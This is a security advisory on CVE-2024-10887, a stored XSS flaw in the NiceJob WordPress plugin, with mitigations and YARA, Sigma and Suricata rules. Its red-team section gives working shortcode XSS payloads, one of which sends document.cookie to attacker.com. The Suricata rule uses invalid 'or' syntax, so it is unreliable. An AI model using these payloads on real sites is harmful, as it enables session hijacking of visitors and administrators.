CVE-2024-10887

Executive Summary

CVE-2024-10887 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the NiceJob plugin for WordPress (versions up to and including 3.7.1). The vulnerability resides in multiple shortcodes (nicejob-lead, nicejob-review, nicejob-engage, nicejob-badge, nicejob-stories) due to insufficient input sanitization and output escaping on user-supplied attributes. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts that execute when any user visits the compromised page. The CVSS score is 6.4 (Medium), and no public exploit or patch is currently available.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The NiceJob plugin is a third-party component that integrates with the WordPress CMS. The flaw is in the plugin's shortcode handling, not in WordPress core or any web server software. Administrators should treat this as a WordPress plugin security issue and apply mitigations accordingly.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level or above)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires authentication but allows persistent script injection that can affect all site visitors. The EPSS score of 0.0% suggests low exploitation likelihood currently, but this may change as details become public.

Deep Dive & Mechanics

The NiceJob plugin registers several shortcodes that accept user-supplied attributes. These attributes are not properly sanitized or escaped before being rendered in the HTML output. An attacker with contributor-level access (or higher) can create or edit a post/page and insert a malicious shortcode like:

[nicejob-lead attribute="<script>alert('XSS')</script>"]

When the page is rendered, the unsanitized attribute value is injected directly into the DOM, allowing arbitrary JavaScript execution. The vulnerability affects the following shortcodes:

• nicejob-lead
• nicejob-review
• nicejob-engage
• nicejob-badge
• nicejob-stories

The stored nature of the XSS means the malicious script persists in the database and executes for every visitor, including administrators, making it suitable for session hijacking, defacement, or malware distribution.

Vulnerable vs. Patched Code

Vulnerable Code (simplified example):

// In nicejob.php or similar
add_shortcode('nicejob-lead', function($atts) {
    $atts = shortcode_atts(array('attribute' => ''), $atts);
    // No sanitization or escaping
    return '<div class="nicejob-lead" data-attribute="' . $atts['attribute'] . '">Content</div>';
});

Patched Code (expected fix):

add_shortcode('nicejob-lead', function($atts) {
    $atts = shortcode_atts(array('attribute' => ''), $atts);
    // Properly escape the attribute value
    $safe_attribute = esc_attr($atts['attribute']);
    return '<div class="nicejob-lead" data-attribute="' . $safe_attribute . '">Content</div>';
});

The fix should use esc_attr() for HTML attribute contexts and esc_html() for HTML body contexts. Additionally, input validation should be applied to ensure attributes match expected patterns.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress instance with NiceJob plugin <= 3.7.1
• Contributor-level account or higher

Steps:

1. Log in as a contributor.
2. Create a new post or edit an existing one.
3. Insert the following shortcode into the post content:

   [nicejob-lead attribute="<img src=x onerror=alert(document.cookie)>"]
   

4. Publish or save the post.
5. When any user (including admin) views the post, the JavaScript executes.

Advanced Payload:

[nicejob-review attribute="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]

Blue Team (Detection & Prevention)

Detection:

• Monitor for posts/pages containing shortcodes with suspicious attribute values (e.g., <script>, onerror=, javascript:).
• Use WAF rules to block requests with XSS patterns in shortcode attributes.
• Review user activity logs for contributors creating posts with unusual shortcode usage.

Prevention:

• Disable the NiceJob plugin until a patch is available.
• Restrict contributor-level access to trusted users only.
• Implement a Web Application Firewall (WAF) with XSS rules.
• Use WordPress security plugins that scan for malicious shortcode usage.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Modified posts/pages containing shortcodes with suspicious attributes.
• Database entries in wp_posts table with post_content containing patterns like nicejob-lead, nicejob-review, etc., followed by unescaped HTML/JavaScript.

Network IOCs:

• Outbound connections to attacker-controlled domains from the WordPress server.
• HTTP requests containing shortcode attributes with XSS payloads.

Log IOCs:

• WordPress debug logs showing errors related to shortcode rendering.
• Web server access logs with requests to posts containing malicious shortcodes.

Detection Engineering

YARA Rule

rule CVE_2024_10887_NiceJob_XSS {
    meta:
        description = "Detects stored XSS payloads in NiceJob shortcode attributes"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-10887"
    strings:
        $shortcode1 = "nicejob-lead"
        $shortcode2 = "nicejob-review"
        $shortcode3 = "nicejob-engage"
        $shortcode4 = "nicejob-badge"
        $shortcode5 = "nicejob-stories"
        $xss_payload = /<[^>]*script[^>]*>|<[^>]*onerror[^>]*=|<[^>]*onload[^>]*=/
    condition:
        any of ($shortcode*) and $xss_payload
}

Sigma Rule

title: CVE-2024-10887 NiceJob Stored XSS Detection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts via NiceJob shortcodes in WordPress
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: GET
        http.url|contains:
            - "nicejob-lead"
            - "nicejob-review"
            - "nicejob-engage"
            - "nicejob-badge"
            - "nicejob-stories"
        http.url|re: '<[^>]*script[^>]*>|<[^>]*onerror[^>]*=|<[^>]*onload[^>]*='
    condition: selection
falsepositives:
    - Legitimate use of shortcodes with safe attributes
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10887 NiceJob Stored XSS Attempt"; flow:to_server,established; content:"nicejob-lead" or content:"nicejob-review" or content:"nicejob-engage" or content:"nicejob-badge" or content:"nicejob-stories"; pcre:"/<[^>]*script[^>]*>|<[^>]*onerror[^>]*=|<[^>]*onload[^>]*=/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the NiceJob plugin until a patched version is released.
2. Review and clean any posts/pages that may contain malicious shortcodes.
3. Reset passwords for contributor-level accounts if compromise is suspected.

Long-Term Fixes:

• Apply the vendor patch when available (currently UNKNOWN).
• Implement input validation and output escaping for all shortcode attributes.
• Use WordPress's built-in esc_attr() and esc_html() functions.

Workarounds:

• Restrict contributor-level access to only trusted users.
• Use a Web Application Firewall (WAF) to block XSS payloads.
• Monitor for unusual shortcode usage in post content.

Valters IT